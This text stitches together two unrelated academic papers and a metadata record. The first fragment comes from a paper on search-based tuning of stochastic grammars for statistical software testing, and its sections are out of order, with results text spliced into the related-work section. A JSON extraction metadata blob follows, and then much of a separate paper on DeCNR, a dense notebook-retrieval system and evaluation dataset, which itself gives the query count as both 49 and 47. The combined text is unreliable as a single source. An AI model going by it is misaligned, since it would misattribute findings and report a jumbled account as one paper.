<td>( M_{lem} ) mutation weight</td>
<td>1028</td>
</tr>
<tr>
<td>( \mu_{prnt} )</td>
<td>max. parent variables per child</td>
<td>1</td>
</tr>
<tr>
<td>( \mu_{bins} )</td>
<td>max. terminal bins per variable</td>
<td>2( \sqrt{</td>
</tr>
<tr>
<td>( \mu_{eval} )</td>
<td>max. evaluations per profile</td>
<td>10</td>
</tr>
</tbody>
</table>
Figure 5: Trajectories for the four search algorithms. The solid line plots the mean fitness of the best profile found to date at each iteration for the algorithm using the standard hill-climbing search method; the dashed line is the variant that omits any dependencies between variables; the dash-dot line is the algorithm using random search. The error bars show the 95% confidence interval; for clarity, they are plotted only at regular intervals.
5. RELATED WORK
The use of grammars to generate test inputs is an established practice known as grammar-based testing. It is motivated by the need to generate test data for SUTs for which the nature of valid inputs is highly-constrained. For example, grammar-based testing can be used to generate test inputs—source code—for compilers and interpreters [7, 4]. Inputs consisting of random sequences of characters would almost always raise errors in the lexer or parser phases of a compiler; the code of subsequent compilation phases would remain untested. A grammar, however, ensures the construction of semantically correct source code, enabling the compiler functionality to be fully tested.
In many cases, the grammar is deterministic and input data is generated by bounded-exhaustive enumeration: all valid language strings are generated up to a chosen size-related bound. However, a few techniques sampled inputs at random from stochastic grammars. Applications of this probabilistic approach include: testing of hardware arithmetic circuits in simulation [6]; differential testing of compilers [7]; and testing the bytecode verifier in Java Virtual Machine implementations [11]. In all these examples, the grammar's production weights were manipulated manually to achieve desirable properties in the randomly-sampled test inputs.
In this paper we have demonstrated the use of automated search—rather than manual manipulation—to adjust the weights of a stochastic grammar for this purpose; the desirable property in our case being a high value of the minimum coverage probability. In this respect, our approach is most similar to the recent work of Beyene and Andrews [1].
These results. However, by applying equation (1), we note that all the coverage elements will be covered (with a probability, $Q$, of 0.99) using test set sizes of 38 for circBuff, 5 for epuck, and 51 for tcas. (At such a high value of $Q$, such test sets will often exercise every coverage element more than once.) These relatively small test sizes demonstrate that the search algorithm is effective at deriving input profiles.
For both circBuff and tcas, the algorithm variant that does not use conditionally dependent weights (dashed trajectories) derives profiles with a lower fitness than the standard hill-climbing algorithm. This difference is statistically significant across a wide range of iterations (the error bars do not overlap). We conclude that the novel extension of conditional production weights facilitates the search algorithm.
For all three SUTs, the algorithm variant that does not partition numeric variables into bins (dash-dot trajectories) derives profiles with a much lower fitness than the standard hill-climbing algorithm, and the difference is statistically significant. This is only partial evidence in support of aggregating numeric terminals. We do not produce empirical evidence in this paper for the other part of the argument: that if each numeric range were represented by separate terminals for each possible value, then the search space would be impractically large. Instead, we argue merely that for SUTs taking many thousands of different numeric inputs (such as tcas), this is a reasonable assumption.
Finally, for all three SUTs, random search (dotted trajectories) derives profiles with a much lower fitness than the hill-climbing algorithm. This result provides a check that the task of deriving input profiles for these SUTs is not a trivial search problem.
Although Beyene and Andrews’ approach is not framed explicitly in the context of statistical testing, it achieves similar objectives. Grammars for structured HTML and XML inputs are converted to stochastic data generation programs, and the weights in the generation programs are optimised by metaheuristic search for high coverage of the SUTs. Our proposed search algorithm differs from Beyene and Andrew’s technique in two notable aspects.
Firstly, we use a grammar representation that incorporates two novel extensions: conditional production weights and the aggregation of numeric terminal symbols. Our empirical results show that these extensions enable the search algorithm to derive input profiles with significantly better minimum coverage probability.
Secondly, the adequacy criterion in Beyene and Andrew’s experiments was statement coverage: between 50% and 73% of the statements were covered using large test sets of size 1000. Our empirical demonstration uses the much stronger adequacy criteria of branch and condition coverage. Moreover, we calculated above that we are able to (effectively) guarantee that 100% of the coverage elements would be exercised using much smaller test sets. (Since the SUTs used in the empirical work of this paper are not the same as those used by Beyene and Andrews, a more rigorous comparison of the two approaches is not currently possible.)
6. CONCLUSION
In this paper we proposed a novel grammar-based representation for input profiles, and demonstrated a search algorithm using this representation that is capable of efficiently deriving input profiles suitable for statistical testing. The grammar-based representation enables the algorithm to be applied to a wide range of software, in particular software with structurally-complex inputs. For three real-world examples, the algorithm took only a few minutes to derive suitable input profiles using computing resources equivalent of a desktop PC. Since the approach is automated and uses readily-available, affordable computing resources, the costs associated with deriving input profiles for statistical testing are reduced.
The grammar-based representation and associated search algorithm provide a generic mechanism for describing and optimising probability distributions over the input domain of a SUT: they could be applied to the problems other than statistical testing for which the objective is to induce a particular probability distribution over the executed software. For example, the objective could be to exercise particular parts of the software that have been neglected by earlier testing; to focus on components that have a history of faulty behaviour; or to explore non-functional properties such as execution time.
As future work, we are investigating the use of stochastic grammars that are more flexible than context-free grammars and will facilitate the representation of input profiles for a yet wider range of SUTs.
Acknowledgments
This research was funded by the MOD Centre for Defence Enterprise and EPSRC grant EP/J017515/1, DAASE: Dynamic Adaptive Automated Software Engineering. The authors would like to thank Paul O’Dowd of the University of Bristol for providing the e-puck simulator code.
7. REFERENCES
|
{"Source-Url": "http://eprints.whiterose.ac.uk/75406/1/t16pap470_poulding.pdf", "len_cl100k_base": 8934, "olmocr-version": "0.1.50", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 30102, "total-output-tokens": 10450, "length": "2e13", "weborganizer": {"__label__adult": 0.000335693359375, "__label__art_design": 0.0003025531768798828, "__label__crime_law": 0.00035572052001953125, "__label__education_jobs": 0.0009369850158691406, "__label__entertainment": 6.74128532409668e-05, "__label__fashion_beauty": 0.00015842914581298828, "__label__finance_business": 0.00023055076599121096, "__label__food_dining": 0.00033092498779296875, "__label__games": 0.000514984130859375, "__label__hardware": 0.0007715225219726562, "__label__health": 0.0005574226379394531, "__label__history": 0.00020992755889892575, "__label__home_hobbies": 9.930133819580078e-05, "__label__industrial": 0.0003509521484375, "__label__literature": 0.00033092498779296875, "__label__politics": 0.00022292137145996096, "__label__religion": 0.0003590583801269531, "__label__science_tech": 0.03155517578125, "__label__social_life": 0.00010877847671508788, "__label__software": 0.00650787353515625, "__label__software_dev": 0.95458984375, "__label__sports_fitness": 0.00031280517578125, "__label__transportation": 0.0004935264587402344, "__label__travel": 0.00017547607421875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43729, 0.0505]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43729, 0.53274]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43729, 0.88992]], "google_gemma-3-12b-it_contains_pii": [[0, 1241, false], [1241, 5316, null], [5316, 11454, null], [11454, 18827, null], [18827, 25010, null], [25010, 28347, null], [28347, 34204, null], [34204, 38145, null], [38145, 43729, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1241, true], [1241, 5316, null], [5316, 11454, null], [11454, 18827, null], [18827, 25010, null], [25010, 28347, null], [28347, 34204, null], [34204, 38145, null], [38145, 43729, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43729, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43729, null]], "pdf_page_numbers": [[0, 1241, 1], [1241, 5316, 2], [5316, 11454, 3], [11454, 18827, 4], [18827, 25010, 5], [25010, 28347, 6], [28347, 34204, 7], [34204, 38145, 8], [38145, 43729, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43729, 0.07234]]}
|
olmocr_science_pdfs
|
2024-12-01
|
2024-12-01
|
4fbeffe354a8935cd778d413d29ef56426d45170
|
A Dense Retrieval System and Evaluation Dataset for Scientific Computational Notebooks
Li, N.; Zhang, Y.; Zhao, Z.
DOI
10.1109/e-Science58273.2023.10254859
Publication date
2023
Document Version
Author accepted manuscript
Published in
2023 IEEE 19th International Conference on e-Science
License
CC BY
Citation for published version (APA):
A Dense Retrieval System and Evaluation Dataset for Scientific Computational Notebooks
Na Li\*, Yangjun Zhang†, Zhiming Zhao\*‡
\*Multiscale Networked System, Informatics Institute, University of Amsterdam, Netherlands
†School of Electronic Engineering and Computer Science, Queen Mary University of London, United Kingdom
‡LifeWatch ERIC Virtual Lab and Innovation Center (VLIC), Amsterdam, Netherlands
n.li@uva.nl, yangjun.zhang@qmul.ac.uk, z.zhao@uva.nl
Abstract—The discovery and reutilization of scientific codes are crucial in many research activities. Computational notebooks have emerged as a particularly effective medium for sharing and reusing scientific codes. Nevertheless, effectively locating relevant computational notebooks is a significant challenge. First, computational notebooks encompass multi-modal data comprising unstructured text, source code, and other media, posing complexities in representing such data for retrieval purposes. Second, the absence of evaluation datasets for the computational notebook search task hampers fair performance assessments within the research community. Prior studies have either treated computational notebook search as a code-snippet search problem or focused solely on content-based approaches for searching computational notebooks. To address the aforementioned difficulties, we present DeCNR, tackling the information needs of researchers in seeking computational notebooks. Our approach leverages a fused sparse-dense retrieval model to represent computational notebooks effectively. Additionally, we construct an evaluation dataset including actual scientific queries, computational notebooks, and relevance judgments for fair and objective performance assessment. Experimental results demonstrate that the proposed method surpasses baseline approaches in terms of $F_1@5$ and $NDCG@5$. The proposed system has been implemented as a web service shipped with REST APIs, allowing seamless integration with other applications and web services.
Index Terms—computational notebook search, evaluation dataset, Jupyter Notebook, scientific code reuse, virtual research environment
I. INTRODUCTION
In the rapidly evolving landscape of scientific research, scientists often need to find and reuse codes for various purposes, e.g., learn state-of-the-art algorithms, reproduce previous research results, and quickly develop new methods. Computational notebooks have emerged as a particularly effective medium for scientific code sharing and reusing [1]. The computational notebook programming environment allows researchers to interweave code with explanatory text, images, and other media, making it easier to communicate their thought processes and provide context for their codes [2]. Collecting computational notebooks and building a search system help scientists discover research resources published through computational notebooks and thus facilitate knowledge sharing and increase productivity [3].
There are several studies on computational notebook search [4]–[6]. A branch of work emphasizes code fragments (a reusable block of code, e.g., a code cell [4], or a sequence of codes extracted from different code cells [5]) of computational notebooks and returns code snippets given natural language queries. They treat computational notebook search as a code-snippet search problem and aim to bridge the gap between programming language and natural language. While code-snippet search solutions can be effective for general programming questions, they may not be suitable for answering research questions that involve complex pipelines or workflows. Others investigate content-based computational notebook search (or notebook-to-notebook search), which uses computational notebooks as queries to retrieve relevant computational notebooks [6]. These methods provide a representation for the entire computational notebook, e.g., source codes, tabular data, output formats, and imported library names, but limit the application to scenarios where users already have a computational notebook.
Despite studies carried out on computational notebook search, researchers still rely on general search engines or open-source code repositories to find computational notebooks. These tools do not explicitly index the contents of computational notebooks and may yield inaccurate results or take longer to locate the relevant ones. This leads to the goal of our work, i.e., building an effective computational notebook search system. However, two significant challenges need to be addressed. The first challenge is the need for suitable representations of both text and code in computational notebooks. Despite the availability of advanced models for processing natural language and programming languages, representing computational notebooks is still difficult. This is primarily because computational notebooks are multi-modal and need to cater to complex scientific information requirements. For example, in Figure 1 a Markdown cell and a code cell together provide knowledge on a specific topic, such as the stationarity test for time series data. The Markdown cell explains the concept of stationarity, while the code cell demonstrates a stationarity test on real data with visualization. The combination of text and code is common in computational notebooks due to their literate programming approach. The second challenge is the lack of evaluation datasets in the field of computational notebook search, making it difficult to assess and compare different methods for searching computational notebooks objectively and fairly.
Targeting the above challenges, we (1) propose Dense
Deal with stationarity
Most time-series models assume that the underlying time-series data is stationary. This assumption gives us some nice statistical properties that allows us to use various models for forecasting.
Stationarity is a statistical assumption that a time-series has:
- Constant mean
- Constant variance
- Autocovariance does not depend on time
More simply put, if we are using past data to predict future data, we should assume that the data will follow the same general trends and patterns as in the past. This general statement holds for most training data and modeling tasks.
There are some good diagrams and explanations on stationarity here and here.
Sometimes we need to transform the data in order to make it stationary. However, this transformation then calls into question if this data is truly stationary and is suited to be modeled using these techniques.
We will use Dickey-Fuller test to check whether the time series is stationary or not.
Reference: Test stationarity using moving average statistics and Dickey-Fuller test [https://www.analyticsvidhya.com/blog/2016/02/time-series-forecasting-codes-python/]
Computational Notebook Retrieval (DeCNR), which models computational notebooks as bi-modal data (including text and code) and utilizes a fused sparse-dense model for computational notebooks retrieval; (2) build an evaluation dataset, including actual scientific queries, computational notebooks, and relevance judgments for performance assessment. The related artifacts can be found here: https://github.com/nali001/notebook_search_docker
II. RELATED WORK
This section reviews previous studies on computational notebook search/retrieval that are highly relevant to our work.
A. Computational Notebook Retrieval
Research on notebook search is still in its infancy, with only a handful of prior studies [4]–[6]. Previous research can be summarized into two categories: code search in computational notebooks and content-based computational notebook search. NBSearch [4] and EDAssistant [5] support semantic code search in a computational notebook collection. NBSearch first translates source codes into textual descriptors and then computes the similarity between the queries and the descriptors using language models [4]. EDAssistant focuses on the Exploratory Data Analysis (EDA) sequence of computational notebooks and utilizes GraphCodeBERT [7] to represent the codes. Both are aimed at code snippet search and lack the representation approach for the entire computational notebook. JupySim [6] is a content-based notebook search system. The query comprises codes in cells, tabular data, output formats, and libraries. The similarity between queries and notebooks is defined as the weighted sum of similarities for each type of content. However, there is no clear explanation of the similarity computation methods for separated contents. Moreover, it is hard to evaluate the proposed system’s efficiency and usability since no experimental results are reported.
Different from previous studies that search code blocks from computational notebooks or use computational notebooks as queries, we propose searching for the entire computational notebooks using natural-language queries.
B. Text and Code Representation for Computational Notebooks
Computational notebook representation is the cornerstone of computational notebook search systems. Computational notebooks comprise texts and codes, each of which can be represented effectively for retrieval. Related studies can be summarized into two categories: text representation and code representation. There is an enormous body of studies dedicated to text representation. Classical text retrieval methods, e.g., BM25 [8], use term-level heuristic statistics to represent the documents. Despite its simplicity, it is still effective in many retrieval tasks [9]. However, they only consider the lexical retrieval similarity between queries and documents and thus fail to retrieve relevant documents when there are no overlapping words in the queries and documents. Neural retrieval models are then developed for semantic retrieval [10]. Among them, dense retrieval methods [11] based on large-scale pre-trained language models [12], [13], e.g., DPR [14] and SBERT [15], map both query and document into a continuous vector space (dense vector space) where semantically
similar words, phrases and sentences are closer to each other, and thus also called semantic retrieval methods. Similarly, two types of code modeling methods exist: Information Retrieval (IR)-based and Machine Learning (ML)-based methods. IR-based code retrieval methods [10], e.g., codehow [17], utilize traditional text retrieval techniques to measure text similarity and rely on shared words between queries and codes. ML-based methods usually map text and code snippets into a shared vector space. The relevance can be measured through cosine similarity between vector representations [18]–[22].
Unlike previous studies focusing on the representation of a single modality of data, i.e., text or code, we consider both text and code to represent computational notebooks.
C. Hybrid Sparse-dense Retrieval
Sparse retrieval models [8] usually utilize the statistical characteristics of words to represent queries and computational notebooks. Dense retrieval models [11] aim to map texts and codes into a continuous vector space, and the similarity between queries and computational notebooks can be computed as the dot product between the vector representations. Each type of method has pros and cons. For instance, sparse retrieval models are highly efficient but limited by their lexical essence. Dense retrieval models provide preferable semantic matching between words and sentences but usually require in-domain labeled data for training or fine-tuning. We propose a fusion-based approach to overcome this issue, combining sparse and dense retrieval models to derive the final ranking. Hybrid retrieval methods have been studied to improve the effectiveness of a retrieval system via the fusion of different retrieval strategies [23]–[25]. Chen et al. [25] propose a simple yet effective zero-shot hybrid model that combines BM25 with NPR [26] to address the out-of-domain generalization problem. They also point out that the dense retrieval models could be incompetent in modeling long documents, and sparse retrieval models can compensate for these weaknesses. Computational notebooks and scientific queries are out-of-domain data for most large-scale pre-trained language models, e.g., SBERT [15] and computational notebook retrieval also faces the long document problem. Therefore, the combination of sparse and dense models can be a potential solution for out-of-domain and long document problems in computational notebook retrieval. Hence, different from the previous studies [4], [5] that use only one type of model, we propose a fused sparse-dense model for computational notebook retrieval.
III. DENSE COMPUTATIONAL NOTEBOOK RETRIEVAL
This section describes the proposed DeCNR, a system that enables searching for external computational notebooks to support scientific research activities.
A. System Design
Figure 2 (a) depicts the high-level architecture of the system. We harvest raw computational notebook and their corresponding metadata from the web through a Crawler. The system then processes each data accordingly. The computational notebooks first go through a Preprocessor to extract useful contents and then input to a Computational Notebook Representation module. Meanwhile, the metadata for each computational notebook is handled by a Metadata Harmonization unit to generate common metadata. The Indexer proceeds with preprocessed contents or representations to generate indexes to be stored in the Index Database. The Retriever will serve online retrieval for computational notebooks. More details of each module are provided in the following:
1. A Crawler collects computational notebooks and corresponding metadata from the web.
2. A Preprocessor takes raw contents of computational notebooks as input and outputs aggregated texts and codes.
3. A Computational Notebook Representation unit transforms natural-language texts and codes to vectors.
4. A Metadata Harmonization unit maps metadata from various data sources onto a common metadata schema to ease the indexing for the metadata.
5. An Indexer generates indexes from vector representations produced by the Computational Notebook Representation unit and common metadata produced by the Metadata Harmonization unit.
6. An Index Database stores the indexes and makes them available for searching.
7. A Retriever interacts with users via the User Interface, and retrieves matched notebooks from the Index Database based on their similarities.
The system can be used to handle computational notebooks from different sources. Typical data sources include software repositories (e.g., GitHub and Kaggle), research assets catalogs, or other public web locations. Since crawling computational notebooks is a common practice, our work only focuses on the rest of the pipeline. The user interface can be dedicated web pages for vertical computational notebook search or extensions of existing web services. The backend can be scaled to multiple instances and run on cloud infrastructure. These components’ technical considerations and detailed design will be discussed in the rest of this section.
B. Preprocessor
The preprocessor is responsible for splitting texts from codes and cleaning up irrelevant content such as images and cell outputs. A computational notebook is in JSON format and is organized as cells. We traverse the cells to extract contents inside, concatenate texts from all Markdown cells, and codes from all code cells. Afterwards, we omit the HTML contents, URLs, and blank lines inside the text to get clean textual descriptions. For code, we first remove the commands commonly used in Jupyter Notebooks but not part of the code itself, e.g., cell magic or line magic commands, and shell commands to install Python packages or set environment variables. Next, we enhance the metadata by incorporating statistical features, such as the count of code cells.
C. Indexer, Index Database and Retriever
The indexer, together with the index database, is necessary for the fast retrieval of computational notebooks. Inverted indexing is commonly exploited to allow fast full-text searches based on sparse retrieval models, e.g., BM25 and TF-IDF. Recently, tools that support fast similarity search of dense vectors, e.g., Faiss [27], have emerged as the backbone of dense retrieval systems. In our case, we use Elasticsearch\footnote{https://github.com/elastic/elasticsearch} as the indexer to serve the “shallow” retrieval of computational notebooks, which are based on the lexical similarity between queries and the textual description of computational notebooks. To support “semantic” retrieval, we use haystack\footnote{https://haystack.deepset.ai} to generate Faiss indexes with dense retrieval methods. The retriever interacts with users and the index database. It receives user queries, retrieves notebooks, and ranks them based on their similarities to the queries.
D. Computational Notebook Ranking using a Fused Model
We use a fused sparse-dense model for computational notebook retrieval. Figure 2 (b) illustrates the workflow of the proposed method. A computational notebook is first split into ‘text’ and ‘code’, with ‘text’ being aggregated textual descriptions in Markdown cells and ‘code’ the code fragments from code cells. The texts and codes are concatenated and then segmented into passages to fit in the input layer of the Encoder. Each passage $p$ is encoded as a vector representation in a high-dimensional Euclidean space, referred to as a Passage embedding $v_p = E_P(p)$, where $E_P$ is the encoder for passages. Another encoder $E_Q$ encodes a query $q$ to generate a query vector representation $v_q = E_Q(q)$. The Cosine similarity between the passage and the query is computed as the inner product of two vector representations, i.e., $v_p \cdot v_q$. We apply the Max-pooling operation to all passage similarities to get the computational notebook-level similarity score. Meanwhile, a sparse model computes the similarity score between the query and the computational notebook. For sparse and dense model fusion, we employ the linear combination of similarity scores computed by two models. Formally, for each query and computational notebook pair $(q,d)$ the final similarity score $S_{fusion}$ is derived by:
$$S_{fusion} = w_1 \times S_{dense} + w_2 \times S_{sparse},$$
where $S_{dense}$ and $S_{sparse}$ refer to similarity scores produced by the dense and the sparse retrieval model, respectively. $w_1$ and $w_2$ are weighting parameters. The computational notebooks are re-ranked by the fused similarity score $S_{fusion}$.
In the current implementation, we use BM25 as the sparse retrieval model and SBERT\footnote{https://github.com/huggingface/transformers} as the dense retrieval model. SBERT utilizes pre-trained large language models\footnote{https://github.com/MuriloSiqueira/pretrained-transformers} and fine-tunes them to achieve semantically meaningful vector representations of sentences for efficient similarity search.
E. Metadata Harmonization
Computational notebooks come with default metadata such as “name”, “full_name”, “id” and “language” when downloaded from big code repositories, such as Kaggle and GitHub. However, they usually follow different schemas and pose difficulties in metadata indexing. Therefore, we introduce a metadata harmonization unit that extracts and maps the most common fields from different metadata schemas, which are the above rows (until the description) displayed in Table I. These metadata fields provide the index’s basis but are insufficient for understanding the contents. The pipeline extracts other meta-information directly from the computational notebook contents. We add six main fields (the bottom rows in Table I) to store additional features. The computational notebooks from different sources are indistinguishable from each other in terms of the contents, so we append the same features to all computational notebooks.
F. Implementation
The current software is implemented in the context of several EU projects, i.e., H2020 ENVRI-FAIR, CLARIFY, and BlueCloud. Computational notebooks are gathered from GitHub, Kaggle, and service catalogs provided by the data infrastructure in these projects. We emphasize extensibility, modularity, and deployability when developing the software. To cope with the rapid evolution of data analysis models, the backend is implemented with Python using the Django
TABLE I
THE SCHEMA OF HARMONIZED METADATA.
<table>
<thead>
<tr>
<th>Mapped fields</th>
<th>Type</th>
<th>Explanation</th>
</tr>
</thead>
<tbody>
<tr>
<td>docid</td>
<td>string</td>
<td>Local unique ID</td>
</tr>
<tr>
<td>stargazers_count</td>
<td>integer</td>
<td>Star numbers of the repository (GitHub only)</td>
</tr>
<tr>
<td>forks_count</td>
<td>integer</td>
<td>Fork numbers of the repository (GitHub only)</td>
</tr>
<tr>
<td>size</td>
<td>integer</td>
<td>File size (GitHub only)</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the notebook (Kaggle only)</td>
</tr>
<tr>
<td>html_url</td>
<td>string</td>
<td>URL of the computational notebook file</td>
</tr>
<tr>
<td>source</td>
<td>string</td>
<td>The name of the data source, e.g., GitHub</td>
</tr>
<tr>
<td>code_file</td>
<td>string</td>
<td>The name of the file</td>
</tr>
<tr>
<td>description</td>
<td>string</td>
<td>Text descriptions extracted from Markdown cells</td>
</tr>
<tr>
<td>language</td>
<td>string</td>
<td>Programming language</td>
</tr>
<tr>
<td>num_cells</td>
<td>integer</td>
<td>Number of cells</td>
</tr>
<tr>
<td>num_code_cells</td>
<td>integer</td>
<td>Number of code cells</td>
</tr>
<tr>
<td>num_md_cells</td>
<td>integer</td>
<td>Number of Markdown cells</td>
</tr>
<tr>
<td>len_md_text</td>
<td>integer</td>
<td>Number of lines of texts inside Markdown cells</td>
</tr>
</tbody>
</table>
framework, considering that many SOTA retrieval models are available through Python libraries, e.g., transformers, and thus can be smoothly updated. To modularize the system, we align the software components with conceptual modules demonstrated in Figure 2 and separate them into self-contained units. This is achieved by the careful design of the communication interface between two connected modules. Regarding the deployment, we leverage Docker’s containerization techniques to ease the deployment of the system. The system can be effortlessly deployed in a single laptop, a virtual machine, or a cluster.
Additionally, we developed a search agent as a Jupyter extension tool inside our NaaVRE [29] ecosystem to demonstrate the in-site usage of computational notebook search within a Jupyter-based Virtual Research Environment. It is a key supporting element in achieving the vision of “Notebook as a Virtual Research Environment” [29]. The user interface is the same as that in CNSVRE [30]. We also incorporate it into the ENVRI search platform, displaying search results on the website, as shown in Figure 3. In this case, the search is only performed over metadata due to practical reasons. Additionally, it provides REST APIs that can be incorporated into any web service.
IV. Evaluation
To assess the performance of proposed computational notebook search methods and facilitate future studies, we build an evaluation dataset containing scientific queries, computational notebooks, and relevance judgments. This section describes the evaluation dataset construction procedure.
A. Query Collection
We collect researchers’ queries by designing and circulating a questionnaire within the university and the network of Ph.D. students in the related EU projects. The questionnaire explicitly instructs the participants to provide research-related code search queries. More concretely, they are asked to “list at least 5 queries in natural language that you use for searching codes related to your research topic(s). The queries should reflect your research topics/questions, e.g., segmentation of epidermis in histopathological images, instead of general coding tips, e.g., load json files”. Additionally to the queries, we also ask them to specify their research fields. A total of 132 queries are collected from 26 participants, with most of them from the computer science domain and two from the chemistry and psychology domains. Table II lists some examples of the collected queries.
B. Relevance Judgment Collection
Finding relevant computational notebooks given an arbitrary query is a significant challenge using current search platforms. Thus, we adopt the following steps to generate relevance judgments for the queries and the computational notebooks, shown in Figure 4. We collect computational notebooks from GitHub, a commonly used code repository where computational notebooks are stored within repositories. We use APIs to search and download computational notebooks. Since the returned results are scarce for most original queries, we first enlarge the query set by manually extracting scientific entities (words or phrases standing for scientific concepts, e.g., attention-based multiple instance learning, pytorch, whole slide image diagnosis) from the original queries and combine these entities into new queries, resulting in 270 queries. We then use the enlarged query set as keywords to search GitHub at the repository level because searching at the file level produces too many noisy results. The constraint of the “Jupyter Notebook” language is applied to pick out repositories containing computational notebooks. We selected 64 queries that have 1-100 returned code repositories and downloaded all the .ipynb files from the top 30 code repositories, ranked by the number of stars. The reason behind using 1-100 repositories as selection criteria is that queries that result in more than 100 repositories are usually too broad, which will not be well supported by the search system. For relevance judgment, we use the original queries collected from researchers instead of the processed
TABLE II
<table>
<thead>
<tr>
<th>Index</th>
<th>Query</th>
<th>Research field</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Post processing in gigapixel images</td>
<td>Image Processing</td>
</tr>
<tr>
<td>2</td>
<td>Multi-class tissue segmentation with Pytorch</td>
<td>artificial intelligence for histopathological image analysis</td>
</tr>
<tr>
<td>3</td>
<td>multi-modal deep learning models for early detection of AD</td>
<td>the early detection of Alzheimer’s disease</td>
</tr>
<tr>
<td>4</td>
<td>Specularity removal from image</td>
<td>Intrinsic Image Decomposition, Augmented Reality & Colour Constancy</td>
</tr>
<tr>
<td>5</td>
<td>Time-series data preprocessing</td>
<td>Cloud computing</td>
</tr>
<tr>
<td>6</td>
<td>Internet of things</td>
<td>Computer science</td>
</tr>
<tr>
<td>7</td>
<td>Comparison of execution cost in smart contracts</td>
<td>Blockchain</td>
</tr>
<tr>
<td>8</td>
<td>code for t test</td>
<td>Psychology</td>
</tr>
<tr>
<td>9</td>
<td>codes for calculating photoluminescence quantum yield (PLQY)</td>
<td>Chemistry</td>
</tr>
</tbody>
</table>
It is infeasible to assess the relevance of queries against all computational notebooks. Therefore, we use the BM25 method to re-rank the collected computational notebooks for each query to present more relevant ones in the top positions. Afterward, we manually annotate the top-ranked computational notebooks in terms of relevance to the given query. To ensure at least one relevant record for each query, relevant computational notebooks are quested using multiple search platforms and added into the search space. We utilize four-level relevance labels for annotation, similar to that in the MS Marco dataset [31]. Eventually, the evaluation dataset contains 49 queries, 3,779 computational notebooks, and 254 relevance judgments. Table III summarizes the statistics.
V. EXPERIMENTS
We aim to answer the following research questions via empirical experiments: RQ1 What contents within the computational notebooks, including texts and codes, are useful for retrieval? RQ2 How do dense retrieval models perform, compared with sparse retrieval models? RQ3 How does model fusion affect the performances of dense retrieval models?
A. Experimental Setup
1) Query subjects: To examine the ability of our system to support diversified scientific queries, we use the 47 queries from the evaluation dataset, as described in Section IV-B.
2) Search space: The search space used for evaluating our system comprises the 3,779 computational notebooks crawled from GitHub using the collected queries. All queries are accompanied by at least one relevant computational notebook. The relevance labels are in four scales: {3–Perfectly relevant, 2–Highly relevant, 1–Relevant, 0–Irrelevant}. Computational notebooks are split into passages of 512 words. The number of passages for different types of contents is listed in Table III.
3) Evaluation metrics: We use precision, recall, F1, and Normalized Discounted Cumulative Gain (NDCG) as the performance metrics, which are commonly used in information retrieval tasks. Since users usually only pay attention to top-ranked results, we compute the metrics using top-k returned computational notebooks. The precision@k measures the correct hits in the top-k ranking, and it is calculated as follows:
\[
\text{precision@k} = \frac{TP@k}{k},
\]
where \( k \) is the number of retrieved computational notebooks, and \( TP@k \) is the number of relevant ones in top-k retrieved results. The higher the precision@k is, the more relevant results will be presented to users. The recall@k measures how many relevant computational notebooks can be retrieved from the corpus:
\[
\text{recall@k} = \frac{TP@k}{P},
\]
where $P$ is the number of all relevant computational notebooks in the corpus. The $F1@k$ is the combination of $precision@k$ and $recall@k$, as defined below:
$$F1@k = 2 \times \frac{precision@k \times recall@k}{precision@k + recall@k}.$$ \hfill (4)
Note that the $precision@k$ is bounded by $\min(\frac{P}{k}, 1)$. In other words, the perfect precision 1 can not be achieved when $P < k$. Similarly, the $recall@k$ is limited to $\min(\frac{k}{P}, 1)$.
Despite the informativeness of the above metrics, they do not consider the ranking within the top-k results. For example, two rankings $[1,1,1,0,0,0]$ and $[0,0,0,1,1,1]$, where 1 denotes relevant and 0 non-relevant, will have the same values using these metrics. NDCG is commonly used to assess different ranking outputs, favoring relevant results at higher ranking positions. It is defined as below:
$$NDCG@k = \frac{DCG@k}{IDCG@k},$$ \hfill (5)
where $DCG@k$ is the discounted cumulative gain at rank $k$ and $IDCG@k$ is the ideal discounted cumulative gain at rank $k$. They are calculated as follows:
$$DCG@k = \sum_{i=1}^{k} \frac{2^{rel_i} - 1}{\log_2(i + 1)},$$ \hfill (6)
$$IDCG@k = \sum_{i=1}^{\min(k,|N_a|)} \frac{2^{rel_i} - 1}{\log_2(i + 1)},$$ \hfill (7)
where $rel_i$ is the relevance score of the $i$-th ranked computational notebook, while $rel_i(1)$ is the relevance score of the $i$-th most relevant computational notebook in the corpus. $|N_a|$ is the size of the corpus.
Since the four-point labels are aimed at guiding human annotators in relevant judgment rather than providing accurate classification for the relevance of computational notebooks, we use binary labels when computing $precision@k$, $recall@k$, and $F1@k$. We regard the Irrelevant label as non-relevant and the rest as relevant. The four-point relevance labels remain for the $NDCG@k$ calculation. We report the model performances at $k = 5$ and 10. $k=1$ is not considered because including relevant computational notebooks in the top 5 or 10 results is sufficient for system usability.
